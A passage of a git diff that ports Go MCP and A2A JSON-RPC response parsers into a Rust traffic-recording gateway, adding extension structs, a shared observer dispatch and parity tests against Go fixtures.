parse_rpc_response(body: &[u8]) -> Option { + if let Some(r) = decode_response(body).filter(RpcResponse::answers) { + return Some(r); + } + let mut found = None; + jsonrpc::for_each_data_payload(body, |data| { + found = decode_response(data).filter(RpcResponse::answers); + found.is_some() + }); + found +} + +/// `json.Unmarshal` into a jsonRPCResponse. `None` on any decode error. +fn decode_response(body: &[u8]) -> Option { + let text = go_lossy_utf8(body).text; + let raw = gojson::parse(&text).ok()?; + decode_response_into(raw).ok() +} + +fn decode_response_into(raw: &RawValue) -> R { + let mut r = RpcResponse::default(); + // A non-object top-level value is a type error for a struct target. + let Some(entries) = gojson::object(raw)? else { + return Ok(r); + }; + for (k, v) in entries { + if gojson::is(&k, "id") { + gojson::any(v)?; + } else if gojson::is(&k, "result") { + match gojson::object(v)? { + None => r.result = None, + // Go decodes a second object into the map it already has. + Some(entries) => { + let m = r.result.get_or_insert_with(Map::new); + for (rk, rv) in entries { + m.insert(rk, gojson::any(rv)?.unwrap_or(serde_json::Value::Null)); + } + } + } + } else if gojson::is(&k, "error") { + gojson::ptr_into(&mut r.error, v, decode_error_into)?; + } + } + Ok(r) +} + +/// Port of jsonRPCError: `code` is a Go int, so a fraction is a type error. +fn decode_error_into(raw: &RawValue, e: &mut McpError) -> R { + for (k, v) in gojson::object(raw)?.unwrap_or_default() { + if gojson::is(&k, "code") { + gojson::int_into(&mut e.code, v)?; + } else if gojson::is(&k, "message") { + gojson::string_into(&mut e.message, v)?; + } else if gojson::is(&k, "data") { + e.data = gojson::any(v)?; + } + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn post(body: &str) -> Option { + parse_request("POST", "/mcp", &HeaderMap::new(), body.as_bytes()) + } + + #[test] + fn later_response_frame_is_ignored() { + let mut obs = McpObserver::on_request( + "POST", + "/mcp", + &HeaderMap::new(), + br#"{"id":1,"method":"tools/call"}"#, + ); + obs.on_response_frame(br#"{"id":1,"result":{"a":1}}"#, false); + obs.on_response_frame(br#"{"id":1,"error":{"code":-1,"message":"m"}}"#, false); + obs.on_response_frame(b"", true); + let ext = obs.extension().unwrap(); + assert!(ext.result.is_some()); + assert_eq!(ext.err, None); + } + + #[test] + fn path_clean_matches_go() { + for p in ["/mcp", "/mcp/", "//mcp", "/a/../mcp", "/mcp?x=1", "/../mcp"] { + assert!(is_mcp_path(p), "{p}"); + } + for p in ["/mcpx", "/mcp/x", "mcp", "", "/"] { + assert!(!is_mcp_path(p), "{p}"); + } + assert_eq!(go_path_clean(""), "."); + assert_eq!(go_path_clean("a/../.."), ".."); + assert_eq!(go_path_clean("a/./b/"), "a/b"); + } + + #[test] + fn bodyless_requests() { + let mut h = HeaderMap::new(); + assert_eq!(parse_request("DELETE", "/mcp", &h, b""), None); + assert_eq!( + parse_request("GET", "/mcp?x", &h, b"").unwrap().method, + SYNTHETIC_TRANSPORT_STREAM + ); + assert_eq!(parse_request("GET", "/other", &h, b""), None); + h.insert("Mcp-Session-Id", "s".parse().unwrap()); + assert_eq!( + parse_request("DELETE", "/mcp", &h, b"").unwrap().method, + SYNTHETIC_TRANSPORT_TERMINATE + ); + // The method compare is exact, as in Go. + assert_eq!(parse_request("get", "/mcp", &h, b""), None); + } + + #[test] + fn non_object_params_is_not_claimed() { + assert_eq!(post(r#"{"method":"tools/call","params":[1]}"#), None); + assert_eq!(post(r#"{"method":"tasks/get"}"#), None); + assert_eq!(post(r#"["tools/call"]"#), None); + let ext = post(r#"{"method":"tools/list","id":"a"}"#).unwrap(); + assert!(!ext.is_action); + assert_eq!(ext.rpc_id, Some("a".into())); + } + + #[test] + fn empty_result_object_counts() { + let mut ext = McpExtension::default(); + assert!(parse_response(br#"{"result":{}}"#, &mut ext)); + assert_eq!(ext.result, Some(Map::new())); + assert_eq!(serde_json::to_string(&ext).unwrap(), "{}"); + } + + #[test] + fn error_code_fraction_is_not_a_response() { + let mut ext = McpExtension::default(); + assert!(!parse_response( + br#"{"error":{"code":1.5,"message":"m"}}"#, + &mut ext + )); + assert_eq!(ext, McpExtension::default()); + } + + #[test] + fn sse_body_first_answer_wins() { + let body = b"data: {\"method\":\"notifications/message\"}\n\ndata: bad\n\n\ + data: {\"error\":{\"code\":-1,\"message\":\"m\",\"data\":[1]}}\n\n\ + data: {\"result\":{\"a\":1}}\n\n"; + let mut ext = McpExtension::default(); + assert!(parse_response(body, &mut ext)); + let e = ext.err.unwrap(); + assert_eq!((e.code, e.message.as_str()), (-1, "m")); + assert_eq!(e.data, Some(serde_json::json!([1.0]))); + assert_eq!(ext.result, None); + } +} diff --git a/praxis/filters/src/parse/mcp/observer.rs b/praxis/filters/src/parse/mcp/observer.rs new file mode 100644 index 000000000..f23698958 --- /dev/null +++ b/praxis/filters/src/parse/mcp/observer.rs @@ -0,0 +1,37 @@ +//! Port of the mcp-parser plugin's dispatch: `OnRequest` and `OnResponseFrame` in +//! core/plugins/mcpparser/hooks.go. The Observe and Skip calls are not ported. + +use http::HeaderMap; + +use super::{parse_request, parse_response}; +use crate::parse::model::McpExtension; + +/// Parses one MCP request and the response to it, as the plugin does. +pub struct McpObserver { + ext: Option, +} + +impl McpObserver { + /// Port of `OnRequest`. The extension stays `None` when the parser does not claim the request. + pub fn on_request(method: &str, path: &str, headers: &HeaderMap, body: &[u8]) -> Self { + Self { + ext: parse_request(method, path, headers, body), + } + } + + /// Port of `OnResponseFrame`. The first frame with a response wins: JSON-RPC + /// gives a request one response, so a later frame is ignored. + pub fn on_response_frame(&mut self, frame: &[u8], _last: bool) { + let Some(ext) = self.ext.as_mut() else { + return; + }; + if frame.is_empty() || ext.result.is_some() || ext.err.is_some() { + return; + } + parse_response(frame, ext); + } + + pub fn extension(&self) -> Option<&McpExtension> { + self.ext.as_ref() + } +} diff --git a/praxis/filters/src/parse/mod.rs b/praxis/filters/src/parse/mod.rs index a0d081e78..da260e16b 100644 --- a/praxis/filters/src/parse/mod.rs +++ b/praxis/filters/src/parse/mod.rs @@ -1,5 +1,8 @@ +pub mod a2a; pub mod decode; pub mod inference; +pub(crate) mod jsonrpc; +pub mod mcp; pub mod model; pub mod sse; diff --git a/praxis/filters/src/parse/model.rs b/praxis/filters/src/parse/model.rs index 152ac8b4e..91f503a23 100644 --- a/praxis/filters/src/parse/model.rs +++ b/praxis/filters/src/parse/model.rs @@ -1,8 +1,8 @@ -//! The inference extension, as the Go struct in core/model/extensions.go gives it in JSON. +//! The inference, MCP and A2A extensions, as the Go structs in core/model/extensions.go give them in JSON. use serde::Serialize; -use serde_json::Value; use serde_json::value::RawValue; +use serde_json::{Map, Value}; // Go's omitempty skips a zero number. fn is_zero(v: &T) -> bool { @@ -201,6 +201,75 @@ pub struct InferenceToolResult { pub is_error: bool, } +// Go's omitempty skips a nil map and an empty map. +fn map_is_empty(m: &Option>) -> bool { + m.as_ref().is_none_or(Map::is_empty) +} + +/// One MCP JSON-RPC request and its response. Mirrors model.MCPExtension. +/// The parser keeps an empty `result` as `Some`: Go checks `Result != nil`. +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct McpExtension { + #[serde(skip_serializing_if = "String::is_empty")] + pub method: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub rpc_id: Option, + #[serde(skip_serializing_if = "map_is_empty")] + pub params: Option>, + #[serde(skip_serializing_if = "map_is_empty")] + pub result: Option>, + #[serde(rename = "error", skip_serializing_if = "Option::is_none")] + pub err: Option, + #[serde(skip_serializing_if = "is_false")] + pub is_action: bool, +} + +/// A JSON-RPC 2.0 error object. Mirrors model.MCPError. +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +pub struct McpError { + pub code: i64, + pub message: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub data: Option, +} + +/// One A2A request and a summary of its response. Mirrors model.A2AExtension. +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct A2aExtension { + #[serde(skip_serializing_if = "String::is_empty")] + pub method: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub rpc_id: Option, + #[serde(skip_serializing_if = "String::is_empty")] + pub session_id: String, + #[serde(skip_serializing_if = "String::is_empty")] + pub message_id: String, + #[serde(skip_serializing_if = "String::is_empty")] + pub task_id: String, + #[serde(skip_serializing_if = "String::is_empty")] + pub role: String, + #[serde(skip_serializing_if = "Vec::is_empty")] + pub parts: Vec, + #[serde(skip_serializing_if = "String::is_empty")] + pub final_status: String, + #[serde(skip_serializing_if = "String::is_empty")] + pub artifact: String, + #[serde(skip_serializing_if = "String::is_empty")] + pub error_message: String, + #[serde(skip_serializing_if = "is_false")] + pub is_action: bool, +} + +/// One message part of an A2A request. Mirrors model.A2APart. +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +pub struct A2aPart { + pub kind: String, + #[serde(skip_serializing_if = "String::is_empty")] + pub content: String, +} + #[cfg(test)] mod tests { use super::*; @@ -289,8 +358,14 @@ mod tests { fn walk(path: &str, v: &Value, kinds: &BTreeMap, out: &mut BTreeSet) { match v { Value::Object(m) => { + let is_map = kinds.get(path).map(String::as_str) == Some("map"); for (k, child) in m { - let p = format!("{path}.{k}"); + // The children of a Go map share one path, as in parsefixture.checkFieldPaths. + let p = if is_map { + format!("{path}{{}}") + } else { + format!("{path}.{k}") + }; out.insert(p.clone()); if kinds.get(&p).map(String::as_str) != Some("any") { walk(&p, child, kinds, out); @@ -336,32 +411,101 @@ mod tests { ); } + #[test] + fn mcp_a2a_zero_values_follow_go_omitempty() { + assert_eq!(json(&McpExtension::default()), "{}"); + // Go's omitempty omits an empty map too. + let empty = McpExtension { + params: Some(Map::new()), + result: Some(Map::new()), + ..Default::default() + }; + assert_eq!(json(&empty), "{}"); + assert_eq!(json(&McpError::default()), r#"{"code":0,"message":""}"#); + assert_eq!(json(&A2aExtension::default()), "{}"); + assert_eq!(json(&A2aPart::default()), r#"{"kind":""}"#); + } + + fn json(v: &T) -> String { + serde_json::to_string(v).unwrap() + } + + fn mcp_sample() -> McpExtension { + let map: Map = [("k".to_string(), Value::from(1.0))].into_iter().collect(); + McpExtension { + method: "tools/call".into(), + rpc_id: Some(Value::from(1.0)), + params: Some(map.clone()), + result: Some(map), + err: Some(McpError { + code: 1, + message: "m".into(), + data: Some(Value::from("d")), + }), + is_action: true, + } + } + + fn a2a_sample() -> A2aExtension { + A2aExtension { + method: "message/send".into(), + rpc_id: Some(Value::from(1.0)), + session_id: "s".into(), + message_id: "m".into(), + task_id: "t".into(), + role: "user".into(), + parts: vec![A2aPart { + kind: "text".into(), + content: "c".into(), + }], + final_status: "completed".into(), + artifact: "a".into(), + error_message: "e".into(), + is_action: true, + } + } + #[test] fn every_go_inference_field_is_set_or_listed() { + check_fields( + "inference", + serde_json::to_value(full_sample()).unwrap(), + NOT_SET_IN_PRAXIS_MODE, + ); + } + + #[test] + fn every_go_mcp_field_is_set_or_listed() { + check_fields("mcp", serde_json::to_value(mcp_sample()).unwrap(), &[]); + } + + #[test] + fn every_go_a2a_field_is_set_or_listed() { + check_fields("a2a", serde_json::to_value(a2a_sample()).unwrap(), &[]); + } + + /// Compares the key paths of `sample` with the `.` lines of the Go field list. + fn check_fields(prefix: &str, sample: Value, not_set: &[&str]) { let file = concat!( env!("CARGO_MANIFEST_DIR"), "/../../core/pipeline/testdata/parsed-request.fields" ); let text = std::fs::read_to_string(file).unwrap(); + let dot = format!("{prefix}."); let kinds: BTreeMap = text .lines() - .filter(|l| l.starts_with("inference.")) + .filter(|l| l.starts_with(&dot)) .filter_map(|l| l.split_once(' ')) .map(|(p, k)| (p.to_string(), k.to_string())) .collect(); - assert!(!kinds.is_empty(), "no inference fields in {file}"); + assert!(!kinds.is_empty(), "no {prefix} fields in {file}"); let mut rust = BTreeSet::new(); - walk( - "inference", - &serde_json::to_value(full_sample()).unwrap(), - &kinds, - &mut rust, - ); + walk(prefix, &sample, &kinds, &mut rust); let missing: Vec<_> = kinds .keys() - .filter(|p| !rust.contains(*p) && !NOT_SET_IN_PRAXIS_MODE.contains(&p.as_str())) + .filter(|p| !rust.contains(*p) && !not_set.contains(&p.as_str())) .collect(); assert!( missing.is_empty(), diff --git a/praxis/filters/src/record/line.rs b/praxis/filters/src/record/line.rs index af982ab07..2953011ba 100644 --- a/praxis/filters/src/record/line.rs +++ b/praxis/filters/src/record/line.rs @@ -12,7 +12,7 @@ use serde::{Serialize, Serializer}; use super::client::Client; use super::emitter::Queued; -use crate::parse::model::InferenceExtension; +use crate::parse::model::{A2aExtension, InferenceExtension, McpExtension}; /// The line format version, `ingestLineVersion` in Go. pub const LINE_VERSION: u8 = 1; @@ -41,9 +41,6 @@ pub const NOT_SET_IN_PRAXIS_MODE: &[&str] = &[ "tunnel", "tunnelReason", "dialAddr", - // The a2a and mcp parsers move at step 6. - "a2a", - "mcp", ]; fn is_zero(v: &i64) -> bool { @@ -76,6 +73,10 @@ pub struct Event { #[serde(skip_serializing_if = "String::is_empty")] pub request_id: String, #[serde(skip_serializing_if = "Option::is_none")] + pub a2a: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub mcp: Option, + #[serde(skip_serializing_if = "Option::is_none")] pub inference: Option, #[serde(skip_serializing_if = "is_zero")] pub status_code: i64, @@ -252,6 +253,8 @@ pub(crate) mod tests { direction: "outbound", phase: "response", request_id: "r".into(), + a2a: Some(A2aExtension::default()), + mcp: Some(McpExtension::default()), inference: Some(InferenceExtension::default()), status_code: 200, error: Some(EventError { diff --git a/praxis/filters/src/record/row.rs b/praxis/filters/src/record/row.rs index 30329ec10..56d9535bf 100644 --- a/praxis/filters/src/record/row.rs +++ b/praxis/filters/src/record/row.rs @@ -17,8 +17,10 @@ use super::client::{ use super::line::{Capture, Cost, Event, EventError, Line, ResponseCapture, wire_header}; use super::redact; use crate::parse::MAX_BODY_SIZE; +use crate::parse::a2a::A2aObserver; use crate::parse::decode::{Coding, DecodeError, Decoder}; use crate::parse::inference::{InferenceObserver, is_event_stream}; +use crate::parse::mcp::McpObserver; use crate::parse::model::InferenceExtension; use crate::parse::sse::FrameReader; @@ -123,6 +125,30 @@ fn keep(capture: &mut Option, b: &[u8]) { c.body.extend_from_slice(&b[..b.len().min(room)]); } +/// The parsers of one exchange. The Go plugins run one after the other on the same exchange. +#[derive(Default)] +struct Observers { + inference: Option, + mcp: Option, + a2a: Option, +} + +impl Observers { + /// Gives one response frame to each parser. This is the only call site per frame, + /// so a parser added later cannot be missed. + fn frame(&mut self, headers: &HeaderMap, f: &[u8], last: bool) { + if let Some(o) = self.inference.as_mut() { + o.on_response_frame(headers, f, last); + } + if let Some(o) = self.mcp.as_mut() { + o.on_response_frame(f, last); + } + if let Some(o) = self.a2a.as_mut() { + o.on_response_frame(f, last); + } + } +} + /// The response side of an exchange, from its head on. struct Response { status: u16, @@ -144,11 +170,7 @@ struct Response { impl Response { /// Gives a decoded chunk (or the decoder's end, for `None`) to the parser. - fn feed( - &mut self, - obs: &mut Option, - chunk: Option<&[u8]>, - ) -> Result<(), Abort> { + fn feed(&mut self, obs: &mut Observers, chunk: Option<&[u8]>) -> Result<(), Abort> { if self.corrupt { return Ok(()); } @@ -177,10 +199,8 @@ impl Response { Ok(f) => (f, false), Err(e) => (e.completed, true), }; - if let Some(o) = obs.as_mut() { - for f in done { - o.on_response_frame(headers, &f, false); - } + for f in done { + obs.frame(headers, &f, false); } if over { frame_over = true; @@ -218,7 +238,7 @@ pub struct Exchange { client: Option, subagent: String, parent_subagent: String, - observer: Option, + observers: Observers, request_built: bool, capture_kept: bool, ttfb: Duration, @@ -254,7 +274,7 @@ impl Exchange { request_id, started_at: DateTime::::from(started).to_rfc3339_opts(SecondsFormat::Nanos, true), start, - observer: None, + observers: Observers::default(), request_built: false, capture_kept: false, ttfb: Duration::ZERO, @@ -296,7 +316,16 @@ impl Exchange { true => self.path.clone(), false => format!("{}?{}", self.path, self.query), }; - self.observer = Some(InferenceObserver::on_request(&target, &self.headers, body)); + self.observers = Observers { + inference: Some(InferenceObserver::on_request(&target, &self.headers, body)), + mcp: Some(McpObserver::on_request( + &self.method, + &target, + &self.headers, + body, + )), + a2a: Some(A2aObserver::on_request(&self.headers, body)), + }; self.request_row(body) } @@ -304,7 +333,8 @@ impl Exchange { self.request_built = true; // The request-only fields move to this row: nothing on the response side reads them. let inference = self - .observer + .observers + .inference .as_mut() .and_then(|o| o.extension_mut()) .map(|i| InferenceExtension { @@ -331,6 +361,19 @@ impl Exchange { self.capture_kept = capture.is_some(); let event = Event { inference, + // Decision 3 of the plan: the extensions as they are after on_request. + mcp: self + .observers + .mcp + .as_ref() + .and_then(|o| o.extension()) + .cloned(), + a2a: self + .observers + .a2a + .as_ref() + .and_then(|o| o.extension()) + .cloned(), bytes_up: body.len() as i64, client_proc: self.attribution.client_proc.clone(), session_header: self.attribution.session_header.clone(), @@ -398,7 +441,7 @@ impl Exchange { if !r.gzip { keep(&mut r.capture, chunk); } - r.feed(&mut self.observer, Some(chunk)) + r.feed(&mut self.observers, Some(chunk)) } /// The response row of a response read to its end. @@ -406,7 +449,7 @@ impl Exchange { let Some(r) = self.resp.as_mut() else { return self.response_row(0, None); }; - if let Err(a) = r.feed(&mut self.observer, None) { + if let Err(a) = r.feed(&mut self.observers, None) { return self.on_abort(a); } if r.sse && !r.corrupt { @@ -414,19 +457,15 @@ impl Exchange { Ok(f) => (f, false), Err(e) => (e.completed, true), }; - if let Some(o) = self.observer.as_mut() { - for f in done { - o.on_response_frame(&r.headers, &f, false); - } + for f in done { + self.observers.frame(&r.headers, &f, false); } if over { return self.on_abort(Abort::FrameOverCap); } } - if let Some(o) = self.observer.as_mut() { - let last: &[u8] = if r.sse { b"" } else { &r.buffered }; - o.on_response_frame(&r.headers, last, true); - } + let last: &[u8] = if r.sse { b"" } else { &r.buffered }; + self.observers.frame(&r.headers, last, true); if let Some(c) = r.capture.as_mut() { c.ended = true; } @@ -532,7 +571,25 @@ impl Exchange { let mut event = Event { // Line format v1: the request row carries the request-only fields, and Cortex puts // them back on this row. They are most of a line's bytes (docs/session-api.md). - inference: self.observer.as_ref().and_then(|o| o.extension()).cloned(), + inference: self + .observers + .inference + .as_ref() + .and_then(|o| o.extension()) + .cloned(), + // Decision 2 of the plan: the whole extension, request fields included. + mcp: self + .observers + .mcp + .as_ref() + .and_then(|o| o.extension()) + .cloned(), + a2a: self + .observers + .a2a + .as_ref() + .and_then(|o| o.extension()) + .cloned(), status_code, error, duration_ms: self.start.elapsed().as_millis() as i64, @@ -600,19 +657,84 @@ mod tests { } fn fixture() -> Fixture { - let head = std::fs::read_to_string(format!("{FIXTURE}/request.headers")).unwrap(); + fixture_at(FIXTURE) + } + + /// An SSE case. A missing response.headers file gives `Content-Type: text/event-stream`. + fn fixture_at(dir: &str) -> Fixture { + let head = std::fs::read_to_string(format!("{dir}/request.headers")).unwrap(); let mut lines = head.lines(); let target = lines.next().unwrap().split(' ').nth(1).unwrap().to_owned(); - let resp = std::fs::read_to_string(format!("{FIXTURE}/response.headers")).unwrap(); + let resp = std::fs::read_to_string(format!("{dir}/response.headers")) + .unwrap_or_else(|_| "Content-Type: text/event-stream".to_owned()); Fixture { target, req_headers: header_map(lines), - req_body: std::fs::read(format!("{FIXTURE}/request.json")).unwrap(), + req_body: std::fs::read(format!("{dir}/request.json")).unwrap(), resp_headers: header_map(resp.lines()), - resp_body: std::fs::read(format!("{FIXTURE}/response.sse")).unwrap(), + resp_body: std::fs::read(format!("{dir}/response.sse")).unwrap(), + } + } + + /// The request row and the response row of the SSE case in `dir`. + fn run_at(dir: &str) -> (Value, Value, Value) { + let f = fixture_at(dir); + let mut ex = exchange("POST", "tool.example.com", &f.target, &f.req_headers); + let req = json_of(&ex.on_request_body(&f.req_body)); + let mut h = f.resp_headers.clone(); + ex.on_response_head(200, &mut h).unwrap(); + ex.on_response_chunk(&f.resp_body).unwrap(); + let resp = json_of(&ex.on_response_end()); + let expected = std::fs::read(format!("{dir}/expected.json")).unwrap(); + (req, resp, serde_json::from_slice(&expected).unwrap()) + } + + /// The JSON values with every number as an f64: Go writes 1 where Rust writes 1.0. + fn as_f64(v: &Value) -> Value { + match v { + Value::Number(n) => json!(n.as_f64()), + Value::Array(a) => a.iter().map(as_f64).collect(), + Value::Object(o) => o.iter().map(|(k, v)| (k.clone(), as_f64(v))).collect(), + v => v.clone(), } } + const MCP_FIXTURE: &str = concat!( + env!("CARGO_MANIFEST_DIR"), + "/../../core/plugins/mcpparser/testdata/tools-call-sse" + ); + const A2A_FIXTURE: &str = concat!( + env!("CARGO_MANIFEST_DIR"), + "/../../core/plugins/a2aparser/testdata/message-stream" + ); + + #[test] + fn mcp_request_row_has_no_result() { + let (req, resp, expected) = run_at(MCP_FIXTURE); + let qm = &req["event"]["mcp"]; + assert_eq!(qm["method"], "tools/call"); + assert!(qm["params"].is_object()); + assert!(qm.get("result").is_none()); + assert!(resp["event"]["mcp"]["result"].is_object()); + assert_eq!(as_f64(&resp["event"]["mcp"]), as_f64(&expected)); + } + + #[test] + fn a2a_rows_carry_the_extension() { + let (req, resp, expected) = run_at(A2A_FIXTURE); + assert_eq!(as_f64(&resp["event"]["a2a"]), as_f64(&expected)); + let qa = &req["event"]["a2a"]; + assert_eq!(qa["method"], "message/stream"); + assert!(qa.get("finalStatus").is_none()); + } + + #[test] + fn mcp_row_has_no_capture() { + let (req, resp, _) = run_at(MCP_FIXTURE); + assert!(req.get("capture").is_none()); + assert!(resp.get("capture").is_none()); + } + fn attribution() -> Attribution { Attribution { proc: "/bin/claude".into(), @@ -1070,7 +1192,13 @@ mod tests { let f = fixture(); let mut ex = exchange("POST", "api.example.com", &f.target, &f.req_headers); ex.on_request_body(&f.req_body); - let i = ex.observer.as_ref().unwrap().extension().unwrap(); + let i = ex + .observers + .inference + .as_ref() + .unwrap() + .extension() + .unwrap(); assert!( i.messages.is_empty(), "the exchange still holds the messages" diff --git a/praxis/filters/tests/a2a_parity.rs b/praxis/filters/tests/a2a_parity.rs new file mode 100644 index 000000000..a4d4f2daa --- /dev/null +++ b/praxis/filters/tests/a2a_parity.rs @@ -0,0 +1,71 @@ +//! Parity with the Go parser: each case under core/plugins/a2aparser/testdata/ +//! must give the extension that Go wrote to its expected.json, in every feeding variant. + +mod common; + +use std::path::Path; + +use common::{Case, case_dirs, load, same}; + +use cortex_praxis_filters::parse::MAX_BODY_SIZE; +use cortex_praxis_filters::parse::a2a::A2aObserver; +use cortex_praxis_filters::parse::sse::FrameReader; +use serde_json::Value; + +const TESTDATA: &str = "../../core/plugins/a2aparser/testdata"; + +/// Drives `A2aObserver` over the case, fed as `variant` says. +fn run(case: &Case, variant: &str) -> Value { + let mut obs = A2aObserver::on_request(&case.req_headers, &case.req_body); + match variant { + "buffered" => obs.on_response_frame(&case.resp_body, true), + "chunks_4096" => chunks(&mut obs, &case.resp_body, 4096), + "chunks_1" => chunks(&mut obs, &case.resp_body, 1), + "crlf" => { + let crlf = String::from_utf8(case.resp_body.clone()) + .unwrap() + .replace('\n', "\r\n"); + chunks(&mut obs, crlf.as_bytes(), 4096) + } + _ => panic!("unknown variant {variant}"), + } + obs.extension() + .map_or(Value::Null, |x| serde_json::to_value(x).unwrap()) +} + +/// Feeds an SSE body through `FrameReader` in chunks of `size`, then gives the empty last frame. +fn chunks(obs: &mut A2aObserver, body: &[u8], size: usize) { + let mut reader = FrameReader::new(MAX_BODY_SIZE); + for c in body.chunks(size) { + for f in reader.push(c).unwrap() { + obs.on_response_frame(&f, false); + } + } + for f in reader.finish().unwrap() { + obs.on_response_frame(&f, false); + } + obs.on_response_frame(b"", true); +} + +#[test] +fn a2a_parity() { + let root = Path::new(env!("CARGO_MANIFEST_DIR")).join(TESTDATA); + let dirs = case_dirs(&root); + assert!(dirs.len() >= 13, "only {} cases", dirs.len()); + for case in dirs.into_iter().map(load) { + let raw = std::fs::read(case.dir.join("expected.json")).unwrap(); + let expected: Value = serde_json::from_slice(&raw).unwrap(); + let variants: &[&str] = if case.sse { + &["buffered", "chunks_4096", "chunks_1", "crlf"] + } else { + &["buffered"] + }; + for variant in variants { + let name = format!( + "{}/{variant}", + case.dir.file_name().unwrap().to_string_lossy() + ); + same(&expected, &run(&case, variant), &name); + } + } +} diff --git a/praxis/filters/tests/common/mod.rs b/praxis/filters/tests/common/mod.rs index 6a6446ac1..fe13bd9ec 100644 --- a/praxis/filters/tests/common/mod.rs +++ b/praxis/filters/tests/common/mod.rs @@ -1,4 +1,4 @@ -//! The fixture loader and the JSON comparison that parity.rs and row_parity.rs share. +//! The fixture loader and the JSON comparison that the parity tests share. #![allow(dead_code)] // each test crate uses only part of this module use std::path::{Path, PathBuf}; @@ -31,14 +31,19 @@ pub fn cases(agent: &str) -> Vec { let root = Path::new(env!("CARGO_MANIFEST_DIR")) .join(TESTDATA) .join(agent); - let mut dirs: Vec = std::fs::read_dir(&root) + case_dirs(&root).into_iter().map(load).collect() +} + +/// Every subdirectory of `root` that has a request.headers file, sorted. +pub fn case_dirs(root: &Path) -> Vec { + let mut dirs: Vec = std::fs::read_dir(root) .unwrap_or_else(|e| panic!("{}: {e}", root.display())) .map(|e| e.unwrap().path()) .filter(|d| d.join("request.headers").is_file()) .collect(); dirs.sort(); assert!(!dirs.is_empty(), "no cases under {}", root.display()); - dirs.into_iter().map(load).collect() + dirs } pub fn load(dir: PathBuf) -> Case { diff --git a/praxis/filters/tests/mcp_parity.rs b/praxis/filters/tests/mcp_parity.rs new file mode 100644 index 000000000..72d9a6295 --- /dev/null +++ b/praxis/filters/tests/mcp_parity.rs @@ -0,0 +1,77 @@ +//! Parity with the Go MCP parser: each case under core/plugins/mcpparser/testdata/ +//! must give the extension that Go wrote to its expected.json, in every feeding variant. + +mod common; + +use std::path::Path; + +use common::{Case, case_dirs, load, same}; + +use cortex_praxis_filters::parse::MAX_BODY_SIZE; +use cortex_praxis_filters::parse::mcp::McpObserver; +use cortex_praxis_filters::parse::sse::FrameReader; +use serde_json::Value; + +const MCP_TESTDATA: &str = "../../core/plugins/mcpparser/testdata"; + +/// Drives `McpObserver` over the case, fed as `variant` says. +fn run(case: &Case, variant: &str) -> Value { + let mut obs = McpObserver::on_request( + &case.method, + &case.target, + &case.req_headers, + &case.req_body, + ); + match variant { + "buffered" => obs.on_response_frame(&case.resp_body, true), + "chunks_4096" => chunks(&mut obs, &case.resp_body, 4096), + "chunks_1" => chunks(&mut obs, &case.resp_body, 1), + "crlf" => { + let crlf = String::from_utf8(case.resp_body.clone()) + .unwrap() + .replace('\n', "\r\n"); + chunks(&mut obs, crlf.as_bytes(), 4096) + } + _ => panic!("unknown variant {variant}"), + } + obs.extension() + .map_or(Value::Null, |x| serde_json::to_value(x).unwrap()) +} + +/// Feeds an SSE body through `FrameReader` in chunks of `size`, then gives the empty last frame. +fn chunks(obs: &mut McpObserver, body: &[u8], size: usize) { + let mut reader = FrameReader::new(MAX_BODY_SIZE); + for c in body.chunks(size) { + for f in reader.push(c).unwrap() { + obs.on_response_frame(&f, false); + } + } + for f in reader.finish().unwrap() { + obs.on_response_frame(&f, false); + } + obs.on_response_frame(b"", true); +} + +#[test] +fn mcp_parity() { + let root = Path::new(env!("CARGO_MANIFEST_DIR")).join(MCP_TESTDATA); + let dirs = case_dirs(&root); + assert!(dirs.len() >= 11, "only {} MCP cases", dirs.len()); + for dir in dirs { + let case = load(dir); + let raw = std::fs::read(case.dir.join("expected.json")).unwrap(); + let expected: Value = serde_json::from_slice(&raw).unwrap(); + let variants: &[&str] = if case.sse { + &["buffered", "chunks_4096", "chunks_1", "crlf"] + } else { + &["buffered"] + }; + for variant in variants { + let name = format!( + "{}/{variant}", + case.dir.file_name().unwrap().to_string_lossy() + ); + same(&expected, &run(&case, variant), &name); + } + } +} diff --git a/praxis/server/tests/gateway.rs b/praxis/server/tests/gateway.rs index 6a236c526..8b0338e22 100644 --- a/praxis/server/tests/gateway.rs +++ b/praxis/server/tests/gateway.rs @@ -844,6 +844,30 @@ fn buffered_over_cap_after_the_head_keeps_upstream_status() { assert_eq!(i.quiet(), Vec::::new(), "a second response row"); } +/// Praxis calls on_request_body with end-of-stream for an empty body; these rows depend on it. +#[test] +fn bodyless_mcp_request_records_transport_method() { + for (method, extra, want) in [ + ("GET", None, "$transport/stream"), + ( + "DELETE", + Some(("Mcp-Session-Id", "s1")), + "$transport/terminate", + ), + ] { + let o = ok_origin(); + let i = ingest(); + let g = gateway(&o, &i, true); + let mut h = vec![("X-Cortex-Token", TOKEN)]; + h.extend(extra); + let (rh, _) = send(&g, method, "/mcp", &h, b""); + assert_eq!(status(&rh), 200); + for l in i.take(2) { + assert_eq!(l["event"]["mcp"]["method"], want, "{method}: {l}"); + } + } +} + #[test] fn bodyless_response_ends_its_row() { let o = origin(|_, s| {